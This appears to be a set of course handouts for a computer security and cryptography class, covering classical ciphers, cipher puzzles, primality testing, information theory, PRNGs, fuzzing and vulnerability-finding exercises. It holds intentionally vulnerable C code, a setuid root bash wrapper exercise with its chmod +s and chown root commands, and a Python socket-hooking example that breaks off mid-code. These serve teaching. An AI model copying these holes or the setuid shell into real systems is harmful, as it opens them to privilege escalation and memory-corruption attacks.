Absence from Class: Students are responsible for the materials covered in class. Should a student be absent, it is their responsibility to get the notes and handouts from that lecture. Most importantly, if there is an assignment given on a missed class, it still must be handed in on the prescribed date. If there is a disaster, an accident, or an illness a makeup assignment can be scheduled provided 1) the instructor is notified promptly and in advance if possible of the reason, and 2) you supply an original letter addressed to me on letterhead from a physician, hospital or relevant authority and signed by the physician, hospital administrator, or relevant authority, stating why you could not complete the assignment.

Class Manners: You are here to learn computer science. Activities that interfere with learning are prohibited. I request that you turn off radios, cell phones and pagers during the class period and refrain from bringing food and drink to class. Quiet well-behaved visitors can be brought to class with my prior permission, which must be obtained at least one day in advance. Don't bring pets. (See me if you have a medical condition that would not allow you to follow this syllabus). If you have to leave the class for some reason, please do so quietly and take all your belongings with you; please do not re-enter the class because that will be highly disturbing to the other students (and you are still responsible for what you missed).

Grading: Assignments and exams will be graded and returned in approximately one week. If it will take longer, I will notify you.

Note: This syllabus is a general plan for the course, and deviations from it may be necessary during the duration of the course.
I HAVE A NEW HOBBY. IT'S CALLED PHISHING.

I SEND FAKE BANKING E-MAILS TO GULLIBLE EXECUTIVES. THEN I FIND OUT THEIR FINANCIAL INFORMATION AND USE IT TO STEAL THE MONEY THEY DON'T DESERVE.

Dear Customer,

This is your bank. We forgot your social security number and password. Why don't you send them to us so we can protect your money.

Sincerely,

J. B. Banker
A) Substitution.
In substitution to replace each symbol in the plaintext with new symbol. The symbols don't have to be individual letters, and can be blocks of text (i.e. Work on pairs, triples, ...). While, in general, there are \( N! \) permutations of \( N \) symbols, substitution is often done by a functional approach. This can lower the security (why?). Examples include:

1) Caesar Cipher – a constant additive shift in the alphabet.
2) XOR - XOR each symbol with the constant.
3) Multiplication – \( C = (aP + b) \mod N \) where \( a \) is relatively prime w.r.t. \( N \). The inverse \( (a^{-1}) \) is not \( 1/a \), but the integer that solves \( a^{-1}a = mN + 1 \) were some integer \( m \). In mod \( 26 \), \( 3^{-1} \) is 9 because \( 3 \times 9 = 27 \) and \( 27 \mod 26 = 1 \) and \( 5^{-1} \) is 21 (\( 5 \times 21 = 105 == 1 \mod 26 \)). If the multiplication is generalized to several letters with a matrix, it is known as a Hill cipher. Again there are number theory constraints on what values of the matrix elements can be.
4) Bit permutation – apply a block permutation to the bits of the symbol, and invert with the reverse of this permutation (finally a use for all that bit twiddling he learned in C/C++!) this is used quite a lot as an intermediate step in machine encryption.
5) Table substitution – specially constructed constant substitution functions are used machine encryption to generate appropriate nonlinearity. In block ciphers like DES and AES, these functions are known as S-boxes, and are carefully chosen to avoid making the cipher a group or a linear cipher.

Substitution does not have to work in the same space. For example, in World War I, the Germans used a “bi-partate” cipher known as ADFGVX. ADFGVX were chosen because they were easy to hear on a not very good radio when people shooting at you (.-, -.., ..-., --., ...-, -..- ). All 36 combinations were enumerated in a table like:

<table>
<thead>
<tr>
<th></th>
<th>A</th>
<th>D</th>
<th>F</th>
<th>G</th>
<th>V</th>
<th>X</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>c</td>
<td>v</td>
<td>1</td>
<td>p</td>
<td>2</td>
<td>q</td>
</tr>
<tr>
<td>D</td>
<td>d</td>
<td>b</td>
<td>j</td>
<td>4</td>
<td>3</td>
<td>r</td>
</tr>
<tr>
<td>F</td>
<td>a</td>
<td>t</td>
<td>5</td>
<td>e</td>
<td>s</td>
<td>y</td>
</tr>
<tr>
<td>G</td>
<td>k</td>
<td>w</td>
<td>f</td>
<td>i</td>
<td>z</td>
<td>9</td>
</tr>
<tr>
<td>V</td>
<td>8</td>
<td>g</td>
<td>6</td>
<td>o</td>
<td>0</td>
<td>x</td>
</tr>
<tr>
<td>X</td>
<td>1</td>
<td>7</td>
<td>m</td>
<td>h</td>
<td>n</td>
<td>u</td>
</tr>
</tbody>
</table>

Individual letters were placed by the pair in the same row and column (i.e. \( c_{ij} => c_{i0}, c_{0j} \) and for example \( t => FD \)). This was only the first step in the system.

The key thing about substitution is that it does not change the underlying distribution of symbols. This means that unless a large block of symbols is substituted (eight or more bytes) the resulting text can be analyzed the comparing the frequency of symbols with the expected frequencies and sample texts. Substitution does not alter the distribution of sets of symbols (i.e. if \( t => x \) and \( h => y \) then \( th => xy \) and the distribution of symbols stays the same).
B) Permutation.
In permutation in order of the symbols is changed. Permutation does not change the distribution of the symbols that are permuted, but does change the distribution of pairs and a higher order tuples.

1. One classical system is the skytale (σκυταλή) or baton system. In the system two identical dowels are chosen, one for encryption and one for decryption. The strip of papyrus is wrapped around the first dowel and the message is written along the dowel across the wrapped strips of papyrus. The papyrus is then unwrapped and sent via a messenger to its recipient. The recipient wraps the papyrus around his dowel and reads the message.

2. Columnar transpositions are generalization of this idea. A matrix for grid of a defined size is chosen, and the message is written across the grid and then read out down the grid. Decryption is then done by writing the message down the grid and reading across.

3. More general permutations do not have to be regular in the sense going up and down a grid.

4. With the ADFGVX system, the initial substitution from a single letter into a pair of letters is not secure. Therefore was followed with a permutation of the six letters. Both the substitution and the permutation were regularly changed to make it hard for the British and French to decode.

5. It is also possible to commute blocks of text or words. In the American Civil War the union cipher, which was never broken by the South, was a combination of a limited number of substitutions with the permutation of the text.

In general, it is difficult to solve permutations unless there are two messages of the same length with the same key. Then it is possible to apply by trial and error permutations to both messages in the correct permutation should make sense with both messages.

C) Hiding the message – Steganography.
While not strictly a cryptosystem, hiding the message can sometimes – for a little while – perhaps, misdirect the antagonists.

1. Classical example – shave the messenger's head, tattoo the message, let the hair grow back.

2. Hidden blocks on disks – for example CSS on DVD's to establish zone information. The CSS track is not read as part of the file system on the disk so just copying the DVD tracks will (may) not allow the copying of the content. The CSS track is readable when needed to decode.

3. Digital Rights Management – embed a tracking or rights management message in the media in a way that it can be recovered but does not alter the media.

4. Color table manipulation in image files

5. Viruses &worms – hide the payload or the nature of the message to help fool the user. For example windows will often be set to ignore the suffix on a file so you can have “picture.jpg.exe” showing up as “picture.jpg”.

6. “Low information” messages. The presence of the message is the message.

7. Non-conventional locations in a file system such as “bad” blocks or “deleted” files.
CSC8370  Examples of Simple Cryptosystems.

The following examples are in different simple systems. Your task is to solve them.

1) tweis iahod spode riton jeuta iasys hntst kdnrs wu.

2) Tfble snowpynwzv, vnf lgoykwpz vnf. Tfble skvvtfwzv, wp’z utzp prl kookzwpl.

3) Hsen owsj sud, zq’t erkvzkwtjt; hsen owsj qas, zq’t wdtdkwhp.
4) boyba nkill apkri yapyy ubply erpbp lgygm hlabo ykjak lpylh hjacr porcq uynbh laboy gnazn ylhbo yknan prbrw ojcbrc qdnp k.

5) on peut etre Napoleon sans etre son ami, mes enfants!

6) Do not send for supplies before Monday at earliest. Order once only, as men in charge are feeling sore about your threat to encourage the mutiny at Ford's – Wilson

7) Dear George,
Greetings to all at Oxford, many thanks for your letter and for the Summer examination package. All entry forms and fees forms should be ready for final dispatch to the syndicate by Friday 20th of at the very latest, I'm told by the 21st. Admin has improved here, though there's room for improvement still; just give use all two or three more years and we'll really show you! Please don't let these wretched 16+ proposals destroy your basic O and A pattern. Certainly this sort of change, if implemented immediately would bring chaos.

Sincerely,
8) and finally a real example from the American civil war.

Headquarters Armies of the U.S., City Point,  
8:30 A.M., April 3, 1865

To Charles A. Tinker, War Department, Washington, D.C. - A. Lincoln its in fume a in hymn to start I army treating there possible if of cut too forward pushing is he is so all Richmond aunt confide is Andy evacuated Petersburg reports Grant morning this Washington Sec'y War. (signed) S.H. Beckwith
Finding Vulnerabilities

Static vs. dynamic analysis.

Static analysis attempts to scan a defined state of a program to find vulnerabilities. It can range from simple approaches such as finding examples of vulnerable functions (e.g. gets vs fgets, printf with a user input format, malloc bugs) to detailed analysis of object code and executables.

This is both complex, and potentially impossible. In the programming example you've (hopefully) been working on, there are at least 5 different representations of the same algorithm either on disk or in memory and at least 4 of them have two major states. A simple analysis of the source code would not show this. More formally, it is equivalent to the stopping problem and therefore undecidable.

Is the following a vulnerability?

```c
if( some_function(input) ) then
  buggy code
else
  good code
```

It depends.

Therefore you also need to do dynamic analysis by injecting input into the running executable image in the users' computational context in order to see if there are easily found bugs that can be exploited.

Neither approach on its own will suffice, because static analysis cannot find complicated state-dependent bugs, and dynamic analysis cannot explore every possible input.

Things to look for: Why?

```c
char line[80];
gets(line, stdin);

char line[80];
scanf( "%s", line);

char line[1000], char parsed[80];
fgets(line, sizeof(line), stdin);
strcpy( parsed, line);
sscanf( argv[0],"%s", &buffer);
```
Find the security holes

```c
#include <stdio.h>
char line[1024];
int i,j;
int a_function(char *);
{
    i = gets( line, stdin);
    for(j=0; j< i;)
        j+= line[i];
    printf("%d\n",j);
    fscanf(stdin,%s", &line);
    a_function(line);
}

int a_function( char *x)
{
    char line[20];
    char *cp;
    cp = line;
    while( *x != '\0') *cp++ = toupper(*x++);
    printf("%s\n",line);
}
```

What are the following lines trying to do? Will it work?

The program a.c is:

```c
#include <stdio.h>
#include <unistd.h>
int main(int args, char **argv)
{
    execv("/bin/bash", argv);
}
```

The commands are:
gcc a.c
chmod +s a.out
chown root a.out
What does this do? Does it work?

class poff{
public:
  unsigned char pff();
};
unsigned char poff::pff() { return *(char*) this;}

#include <cstdio>
int main()
{
  poff *p;
  p = (poff *)main;
  for( int i=0; i< 100; i++)
    printf("%d", (p++)->pff());
}
Fuzzing Input (if you've finished the key distribution with RC4)

Synopsis:

A major attack pattern is mis-placed user trust (Hoglund P149 et seq.). Programmers tend to believe that their users are not hostile and that they can simply control the possible inputs to a program or service.

This is simply not true, and leads to two sorts of attacks: cross-site-scripting, and controlled crashes. We're going to look at generating crashes as the first step of finding a vulnerable program.

THIS MAY NOT BE POSSIBLE TO IMPLEMENT ON OUR HARDWARE BUT WE WILL TRY ANYWAY. Ave Imperator, Morituri te salutant.

The technique known as fuzzing generates random, partially valid input for a program and submits it to the server/program and looks for error responses. A well-designed secure program will fail securely when presented bogus input data. A badly implemented program will present a possible security hole. Not every program has been “fuzz-tested”.

Project:

Define fuzz testing for HTML.
Write the fuzz generator.
Apply your program to a web browser.

Alternative idea:

Define fuzz testing for a word processor (Open office)
Write the fuzz generator.
Apply your program to it.
Disassembly is taking apart a binary to see what it does. This is non-trivial with traditional compiled languages – due to the complexity of the language, code optimization, and symbolic information that is lost during compilation.

GDB

gdb program
disass <location>

helps if the symbols are there, but x86 assembly can be cryptic. Some code optimizations can be difficult to understand (test ax,ax vs mov ax,0).

The general disassembly and code recovery problem is tricky with x86 because the instructions are not all the same size, and you can end up in the middle of garbage.

Java

Java class files preserve oodles of information. Java “disassembly” can recover the code. You can modify the code and recompile it.

Download and install or use online http://jd.benow.ca

find a java class file and take a look.

This is a real problem for game developers, where clone games are made by changing the graphics.
A critical enciphered message has been recovered from a German neo-Nazi group. (the identical file is available as cipher.problem.2 on snowball.cs.gsu.edu in ~rwh/crypto).

Your problem is to recover the key and decrypt the message.

1) Verify that it is not in a simple monoalphabetic cipher and that it is not a one-time cipher. Use the statistical measures presented in class.

Special forces have been active, and while they were not able to recover the cipher program sources, they were able to retrieve the following fragment of a c++ program from a badly charred piece of paper. (the characters themselves are in the file rotors.fragment, there is also a rotor.cpp that may be useful)

```cpp
const int max_rotor = 10;
rotor bank[max_rotor];

bank[0].load("abcdefghijklmnopqrstuvwxyz", "abcghidefjklpqrmnostxyzuvw",false);
bank[1].load("abcdefghijklmnopqrstuvwxyz", "defghijklmnopqrstuvwxyzabc",false);
bank[2].load("abcdefghijklmnopqrstuvwxyz", "zxbcdefghijklnmpqosrtuvwxyzabc",false);
bank[3].load("abcdefghijklmnopqrstuvwxyz", "zxbcdefghijklnmpqosrtuvwxyz",false);
bank[4].load("abcdefghijklmnopqrstuvwxyz", "zxdcghifiejklnpqrsotwxyzuvw",false);
bank[5].load("abcdefghijklmnopqrstuvwxyz", "zxdcghifiejklnpqrsotwxyzuvw",false);
bank[6].load("abcdefghijklmnopqrstuvwxyz", "zxdcghifiejklnpqrsotwxyzuvw",false);
bank[7].load("abcdefghijklmnopqrstuvwxyz", "zxdcghifiejklnpqrsotwxyzuvw",false);
bank[8].load("abcdefghijklmnopqrstuvwxyz", "zxdcghifiejklnpqrsotwxyzuvw",false);
bank[9].load("abcdefghijklmnopqrstuvwxyz", "zyabcdefghijklmnopqrsuvwxyz",true);
```

This indicates that the encryption was a software version of a rotor or Enigma machine, with the tenth rotor (bank[9] above) being special. Additional information from a prisoner indicates that the program was used with a key of several letters that selected the rotors in the order presented above (in other words always 0,1,2,... and never 1,2,3 or 3,2,4). Unfortunately the prisoner could give no more information. On the basis of this information we believe that bank[9] above is a reflecting rotor that is always used and is static (i.e. Does not rotate during the message).

Find the key and the translation of the message. (hint use the statistical measures of language that we have used in class, it is probably best if you show that there is no key of length 1 that produces a reasonable message, then key of length 2, ... up to what you need to find a message. The message might not be in English or might have a second stage of encryption with substitution so a manual scan will not work.)
Seven Card Hustle: Select 5 red cards and 2 Black cards from the deck. Shuffle and lay out in a line. Can you turn over 3 red cards at random (without peaking or quietly marking the cards)? This is introduced as a bet at even odds, or better than even odds. (Often the pater goes: first chance is 5:2 red, second is 4:2 red, third is 3:2 red) What are the real odds?

Nine Card Hustle: add 2 more red cards (7 red, 2 Black), shuffle and place in a 3 x 3 array. The even money bet is that you can find three cards in a straight line that are red. (up, down and diagonals count). What are the real odds?

Coin Flipping (Bernoulli style): The odds of flipping a coin (fairly) and getting heads or tails is 1:1 or 50%. The even money bet is that you will get 5 heads and 5 tails in 10 flips. What are the real odds?
3 Coins (3 buttons): Flip three coins with three independent flips. If they all come up the same side (same color) then the payout is 2:1, otherwise the buy-in is 1:1. Since at least one pair of the three coins must match this appears to be a good deal. What are the real odds?

Under 7, Over 7: Another betting game. The payout is even if the dice are under or over 7 and the bet was there. The payout is 4:1 if the bet was for 7. What are the real odds?

Crown and Anchor: Three identical dice with 6 unique symbols on each face are used. There is a board with the 6 symbols on it. Bets are placed on which symbols will be seen when the dice are rolled. The payoff is proportional to number of times each symbol is seen (i.e. if you bet on a and 1 a is seen then even money, 2 a's are seen 2:1, 3 a's 3:1). What are the odds for 1 symbol, 2 symbol and 3 symbol matches?
Suppose we want to solve $a^x \equiv b \mod p$ and $p$ is a hard prime (i.e. $p-1$ doesn’t have many small factors). This is a somewhat difficult problem in the sense that if $x$ is almost as big as $p$ then $O(p)$ trials are needed in the absence of a clever algorithm.

$O(\sqrt{p})$ algorithm (Baby Step Giant Step)

Make two lists of size $N$ where $N^2 > p-1$

1. $a^j \mod p$ for $0 < j < N$
2. $b a^{-Nk} \mod p$ for $0 < k < N$

Find the matching element in both lists. When that is found $a^i \equiv b a^{-Nk} \mod p$ or $a^{i+Nk} \equiv b \mod p$ which results in $x = j + Nk$.

Why do we only have to go to $\sqrt{p}$?

Birthday attack.

Instead of using all $0 < j < N$, $0 < k < N$ we choose a random subset.

Why does this work?
Primality testing

Again it is hard to factor \( O(\pi(N)) \) divisions) so we look for other approaches.

Fermat’s little theorem

\[ a^{p-1} \equiv 1 \pmod{p} \quad \text{if } p \text{ is prime} \]

note that it is not if and only if!

So naively we can use this

Choose a small set of \( \{ 1 < a < p-2 \} \)

For each element of the set

Calculate \( a^{p-1} \)

If \( a^{p-1} \) is equal to 1 for each element then the number is likely to be prime

\[ P( \text{number is not prime | } a) < 1 \quad \text{so this can be made vanishingly small by picking enough elements in the set.} \]

However there are Carmichael numbers which will pass this test and are not prime.
Carmichael numbers are composite numbers that obey \( a^{c-1} = 1 \mod c \) for all \( a < c \) that are relatively prime to \( c \). If \( c \) is very large and has a large prime factor \( p \), then “operationally” almost all \( a < c \) will be relatively prime to \( a \).

The Korselt criterion for being a Carmichael number is that it has to be “square free” or contain no repeated factors as well as having relations between prime factors of \( c \) and factors of \( c-1 \) (if \( p \) divides \( c \) then \( p-1 \) must divide \( c-1 \) for all prime factors of \( c \)). The easiest way to see this is to use Fermat’s theorem.
Let \( c = kp \) (i.e. \( p \) divides \( c \), \( k \) is an arbitrary number)
and \( c-1 = m(p-1) \) (again \( m \) is an arbitrary number)
then \( a^{c-1} = a^{m(p-1)} = 1^m = 1 \mod p \)

but what about \( a^{c-1} \mod c \)?
\[ \phi(c) = \text{product over prime factors of } c \quad \text{e.g. } (p-1)...(q-1) \] with no corrections due to multiple factors.
So \( a^{c-1} \mod c = a^{\phi(c)} \mod c \equiv 1 \mod c. \)

So we change how we generate the “prime” to \( p = 2^s t + 1 \) where \( t \) is odd and \( s \) is an arbitrary large constant. Then since \( x^2 \equiv 1 \mod p \) where \( p \) is an odd prime only has solutions \( x = \pm 1 \) we work on the apparent square root. This avoids Carmichael numbers because we cannot have repeated prime factors.
Either:
\[ a^i \equiv 1 \mod p \]
or
\[ a^{2^i} \equiv -1 \mod p \text{ for some } 0 \leq i \leq s - 1 \]

Another approach is probabilistic.

Pick a set of large, probably composite, numbers. Calculate the gcd of the putative prime with each. If all of them have a gcd of 1, then the putative prime is probably prime. Since the probability of two composite numbers not sharing factors is less than 1, the joint probability of them all not sharing factors and being composite is the product of a bunch of numbers less than 1 which can be made arbitrarily small.

Which of the following are Prime?

Small tests first

787 783 773 647 643 645

Bigger numbers

122950327  5959033  417154731 154855473

\[ a^x \mod p \]

\[ p = 2351 \ a = 677 \quad a^x = 1131 \quad \text{what’s } x? \]
A digression on information theory

Using the number of bits to describe a distribution seems a little weird so this might help.

Suppose we have 8 identical things. (8 is just a nice number to use, I could use N and make it fully general, but that would only make the following discussion more formal and harder to follow).

0 0 0 0 0 0 0 0

I ask you to choose one, and will give you information so you pick the one I want. But they are all identical, so I have to send exactly 0 bits of information.

Suppose at least one of these is different from the others.

0 0 0 0 0 0 A

Now I have two classes of things, 0’s and A’s, so I have to send at least 1 bit of information (say 0 for a 0 and 1 for an A). This would be the same if I had 0 0 0 0 A A A A or 0 0 0 0 0 AAA or 0 0 0 0 0 AA.

Having 3 things would require two bits of information because I have 00, 01, or 10, and at the limit of 8 things

0 1 2 3 4 5 6 7

I’d need 3 bits (000,001,010, 011, 100, 101, 110, 111) to represent the 8 different things. So the number of bits (log₂N) tells me about the number of kinds of things, which is obviously good to know.

But wait, there’s more!

I want do be able to distinguish between 0 0 0 0 A A A A and 0 0 0 0 0 0 0 A. They are, after all, different.

In 0 0 0 0 A A A A p(0) = 0.5, p(A) = 0.5
and in 0 0 0 0 0 0 0 A p(0) = 7/8 and p(A) = 1/8

In the first case (0000AAAA) I’d expect to get a A half the time while in the second case (0000000A) I’d expect to get a A if the symbol was chosen randomly. So the average value of (0,1) would be 0.5 with 0000AAAA and 0.125 with 0000000A. But this depends on how I assigned (0,1), with (1,0) I’d get 0.5 and 0.875. That’s bad. So let’s replace (0,1) with -log₂(p), then we get (1,1) and (0.192,3) and averages of 1. and 0.543. Definitely different and fully defined.

We can also characterize the distribution with it’s expected value (sum p * -log₂(p) ) resulting in 1 and 0.543 (which in this case just happens to be the same because p is k/8).
Perfect Secrecy

Describing Information

Given a set of symbols $\Xi$ (e.g. an “alphabet” like “a,b,c,...”) then we need to describe the properties of a sequence of symbols drawn from $\Xi$. In order to do this we need to posit a probabilistic model for how the sequence is generated. If we assume that they are independently drawn, then we can generate a set of tuples of each element of $\Xi$ and its probability (going to higher order statistical models simply changes what we keep track of and complicates the following equations – but does not change the results). Say 

$$(\Xi, p) = (\text{'}a\text{', }0.1), (\text{'}b\text{', }0.03),...$$

then the probability of a sequence of symbols would be simply the product of the probability of the individual elements.

The problem with this model is that the probability of the sequence gets very small very quickly. It also will be very different for sequences of different lengths. This makes it an awkward description.

$$P(a,b,...) = \prod_{\text{symbols}} p(s_i)$$

However if we take the log things become a lot nicer.

$$\log(P(a,b,...)) = \sum \log(p(s_i))$$

and we can talk about the expected and average values of the log over the underlying distribution of symbols

$$H = \sum_{\text{symbols}} - p(s_i) \log p(s_i)$$ is the expected value which is not the same as 

$$H' = \sum_{\text{symbol}} - \log(p(s_i))$$ which is the average value. (usually both of these are negated as $p(s) < 1$.) If we use log base 2, then $H$ and $H'$ describe the numbers of bits needed to encode the distribution of symbols in $\Xi$. Both $H$ and $H'$ are maximized when the probabilities are all equal, which corresponds to a set of symbols where the individual strings are all equal-probable and therefore don't convey information.

The redundancy (R) of a language is $H'$ applied to it. For English, $R$(English) describes how much information is conveyed in an average English string.

If all the keys are equal-probable in a cipher system (and there is no reason to assume this isn't a good approximation) then $H'(C)$ is simply the log of the number of keys ($\log Z$ in my previous handout).

The unicity distance is then (by definition) the ratio of

$$U = \frac{H'(C)}{R(L)}$$

for a cipher system $C$ and language $L$. It describes, roughly, how much more cipher is needed than symbols of the language to get the same amount of information.
An Important Result from Information Theory.

A cipher system consisting of messages, ciphers, and keys has perfect secrecy if and only if the probability of any message given any cipher is constant. (in other words any key will decode a cipher to some message that has the same probability of being correct as every other message in the system).

With messages M, ciphers C
\[ P(M \mid C) = P(M) \quad \text{or} \quad P(C \mid M) = P(C) \]
This is met when M, C are uncorrelated random variables.

The only perfect systems have at least as many keys as messages. Proof:
let there be n possible messages \((M(0), \ldots, M(n-1))\), then any given key, K, must map each message into a unique cipher text \((C(0), \ldots, C(n-1))\) (if it doesn't it's not a useful system because messages get mixed up). Each key defines an individual mapping between M and C. Assume the number of keys \(#K < n\), then the number of mappings is less than the number of messages (or ciphers) and some combination of \((M, C, K)\) will occur with different probability than other combinations. Thus knowledge of C will result in an estimate (i.e. information) about K and M.

Therefore given a source of random numbers a cipher that uses those random numbers in the form
\[ C = M \oplus K \]
where \(\oplus\) is an additive operation like XOR or addition mod n will be perfect provided K is a random vector that is of the same size as C or M.

Bayesian Approach.

The requirement that cipher and message be statistically independent is easier to see from a Bayesian analysis.

Bayes'es Theorem \{ \( P(M|C) = P(C|M)P(C)/P(M) \) \} comes from the identities:

\[ P(C,M) = P(M,C) = P(C|M) P(M) = P(M|C) P(C) \]
where \(P(C,M)\) is the joint probability of \(C,M\), and the products are the appropriate integrals or sums. \(P(C,M)\) is whatever it is.

\[ P(M|C) = P(M) \quad \text{implies that} \quad P(M,C) = P(M|C) P(C) = P(M) P(C) \]
and
\[ P(C|M) = P(C) \quad \text{implies that} \quad P(M,C) = P(C|M) P(M) = P(C) P(M) \]

The joint probability is only equal to the product of individual probabilities when the two events are statistically independent. Statistical independence implies that knowing one event reveals nothing about the other event, so knowing C does not help find M and knowing M does not help find C.
Another way to derive this (Slightly Lame Derivation)

\[ Z(\text{ceaser\_cipher}) = \text{number of symbols in the alphabet (26 for English (more or less))} \]
\[ U(\text{ceaser\_cipher}) = \log(26)/3.5 \text{ which is about 2. This is truly lousy as a cipher system.} \]
\[ \text{But suppose we use a different ceaser cipher for each symbol in the message. What happens then?} \]
\[ U(\text{mulitple\_ceaser}) = \log(26^N)/3.5 \text{ which is kN for some k bigger than 1. There is no cipher length that is sufficient to decrypt to a unique message. (why did I specify k bigger than 1?)} \]

Class Discussion:

**DES** uses \(2^{56}\) keys (56 bits) and encodes a 64 bit block \(2^{64}\) messages. Suppose I use a different key for each block – what is called a Key chained operation. Is this a perfect system?

**Imperfect Secrecy**

The requirement for perfect secrecy is that the key stream be truly random. If it is not, and is produced by some algorithmic process, then that process can be broken.

1) Vigenere Ciphers

One of the oldest approaches to using multiple keys is the Vigenere cipher. In this case a table of monosubstitution alphabets is chosen and each substitution is used sequentially. When all of them have been used the process starts from the beginning again. Weaker variants of this use a table of Caesar ciphers. Vigenam ciphers do the same kind of substitution, but use a larger table and the XOR operation. These were among the first machine ciphers.

Instead of a table, as is shown on the next page, strips of letters or disks were used. In the first part of WW2 the USA used a set of paper strips for low-level ciphers. They were easy to use and destroy (remember everybody smoked and carried a lighter) under battlefield conditions. The Germans eventually broke them (1943), but by then they were replaced with a more secure system.
2) "autokey" and book ciphers

A variation of this approach is to use another message as the key, either by shifting over (autokey) or taking a section of text (book). These both suffer from the problem that the key is not really random.
3) Pseudo-random number generators.

Pseudo-random number generators are a common approximation to random numbers. Unfortunately, it is somewhat tricky to generate a random number stream that cannot be inverted.

a) Multiplication mod n.

The ring \( r_{n+1} = (a r_n + b) \mod m \) where \( a, b, m \) are constants \((a,b < m)\) and \(a\) is relatively prime to \(m\), will generate a sequence of numbers, \(r\), that "look" random. They aren't. (Knuth Vol 2 has a great discussion of this). Most generic random numbers on UNIX and Windows machines use some variation of this algorithm.

b) Shift register.

Random "looking" sequences of numbers that are relatively uncorrelated can be generated via a shift register algorithm. The companion matrices to the shift register can be written in the form:

\[
A = \begin{pmatrix}
0 & 0 & \ldots & a_k \\
1 & 0 & \ldots & a_{k-1} \\
\vdots & \vdots & \ddots & \vdots \\
0 & \ldots & 1 & a_1
\end{pmatrix}
\]

and the iterate \( A^k x \) will have a period of \( 2^k - 1 \) if the polynomial \( x^k - a_1 x^{k-1} - \ldots - a_k \) is irreducible.

c) RC4.

Key generation:

initialization: generate a list \( S_i \) where \( S_i = i \) \((i=0 \text{ to } 255)\)

Key input. Generate a similar list \( K_i \) where each value of \( K \) is from the key, in order, with the key repeated as often as is needed to fill the 256 positions. Each element of the two lists \((S,K)\) is a byte

\[
j = 0.
\]

for \( i=0 \; i < 256; \; i++ \)

\[
j = (j + S_i + K_i) \mod 256
\]

swap \( S_i \) and \( S_j \)

to use:

set \( i,j \) to zero (beginning step)

\[
i = i + 1 \mod 256
\]

\[
j = j + 1 \mod 256
\]

swap \( S_i \) and \( S_j \)

\[
t = (S_i + S_j) \mod 256
\]

\[
K = S_i
\]

\[
C = P \oplus K
\]

d) DES in OFB, CFB modes.

e) Blum, Blum and Shub
calculate the least significant bit of \( X_{i+1} = X_i^2 \mod n \) where \( n \) is a special integer. \( n \) is chosen to be the product of two large primes, each of which is congruent to 3 mod 4. \( X_0 \) is defined by choosing a random number or "seed" between 0 and \( n-1 \) that is relatively prime with respect to \( n \) and using that as the start. The random "seed" is squared mod \( n \) to generate \( X_0 \).

The security of this algorithm rests on the difficulty of factoring \( n \) (i.e. the two primes have to be kept secret) so that number theoretical algorithms like the Chinese remainder theorem cannot be used to predict the sequence of numbers.

Using the PHI test on periodic ciphers.

The Phi test described earlier can be used to detect periods in ciphers. For example, the text used in exercise 1 was encrypted with a Vernam/Ceaser cipher of some period.

This is not completely trivial to solve, unless one knows the period.

<table>
<thead>
<tr>
<th>Period</th>
<th>PHI(period)</th>
<th>Entropy(period)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.04254</td>
<td>3.2044</td>
</tr>
<tr>
<td>2</td>
<td>0.04327</td>
<td>3.1989</td>
</tr>
<tr>
<td>3</td>
<td>0.04718</td>
<td>3.1523</td>
</tr>
<tr>
<td>4</td>
<td>0.04600</td>
<td>3.1600</td>
</tr>
<tr>
<td>5</td>
<td>0.06275</td>
<td>2.8751</td>
</tr>
<tr>
<td>6</td>
<td>0.04761</td>
<td>3.1313</td>
</tr>
<tr>
<td>7</td>
<td>0.05269</td>
<td>3.0760</td>
</tr>
<tr>
<td>8</td>
<td>0.05099</td>
<td>3.0773</td>
</tr>
<tr>
<td>9</td>
<td>0.05443</td>
<td>3.0369</td>
</tr>
<tr>
<td>10</td>
<td>0.06720</td>
<td>2.8324</td>
</tr>
</tbody>
</table>

Notice that there is a big peak at 5 and 10. The others are close to 1/26. This strongly suggests that the period is 5.
Kasiski Analysis on periodic ciphers

The incidence of coincidence (kappa) and psi measures are equivalent, (? really). So you can use kappa measure on two independent messages to find if they were enciphered with the same period and key. (lacking two messages you could cut a long one in half)

The cipher examples for this don't print well because they are binary, but two messages were encoded with the same 8-byte long key.

![Graph showing Kappa vs. Period](image)

Note that the kappa function has a maximum every 8 bytes. (if it has a period of 8 it has a period of 16, 24, 32, ...)

Pointer aliases

Pointer aliases are a useful hacking technique that can write non-obvious code and access data in ways that abuse the rules. The simple example below defines and object and creates a pointer to it without instantiating the object.

```cpp
#include <cstdio>
class bozzo{
public:
float a;
void x(int b){ a += (float)b;}
void q( int b){ printf("%d\n",b);}
int z( int a, int b){ return a+b;}
};

int main()
{
bozzo *a;
a->q(1);
a->q(a->z(1,3));

a->x(1); // this will crash because a->a doesn’t exist.
}
```

Cute, but other than a curiosity useless.

Let’s try something else. Here we create an instance of an object with memory and a pointer to a different object. With a little slight of hand we cast the methods from one object to another.

```cpp
#include <cstdio>
class bozzo{
public:
float a;
```
void x(int b){ a += (float)b;}
void q( int b){ printf("%d\n",b);}
int z( int a, int b){ return a+b;}
);

class crusty{
public:
float b,c;
void d(){ printf("%f %f\n",b,c);}
};

int main()
{

bozzo *a;
a->q(1);
a->q(a->z(1,3));

crusty d;
bozzo *b;
d.d();
b = (bozzo *)&d ; // make b point to the instance of d, a different kind of object.
b->x(1); // since b points at allocated memory this does not crash

d.d();
}

Compile time protections are useless. (all your memory belong to us!) Moving the instance data from crusty to private does not change how the code works.

#include <cstdio>
class bozzo{
public:
float a;
void x(int b){ a += (float)b;}
void q( int b){ printf("%d\n",b);}
int z( int a, int b){ return a+b;}
};

class crusty{
float b,c; // THESE ARE NOW PRIVATE
public:
void d(){ printf("%f %f\n",b,c);}
};

int main()}
C++

```c++
{
bozzo *a;
a->q(1);
a->q(a->z(1,3));

crusty d;
bozzo *b;
d.d();
b = (bozzo *)&d; // make b point to the instance of d, a different kind of object.
b->x(1); // since b points at allocated memory this does not crash

d.d();
}
```

**Implicit pointers**

Python and other languages don’t have formal pointers. However, they have *implicit* pointers. Remember the difference between shallow and deep copying? That’s an implicit pointer. We can play games with that.

```python
import math
def bogus(x):
    return x*x
print "real value", math.sqrt(2.), bogus(2.)
a = math.sqrt  # save a copy
math.sqrt = bogus
print "after the pointer games", math.sqrt(2.)
# oh crud let’s try to fix it
import math
print "didn’t work, did it?", math.sqrt(2.)
print "the real method still exists", a(2.)
```

We can use this to do all sorts of nefarious and fun stuff. Something like:

```python
import socket
real_socket = socket  # our copy
def bogus_gethost(ipaddr):
    x = real_socket.gethostbyaddr(ipaddr)
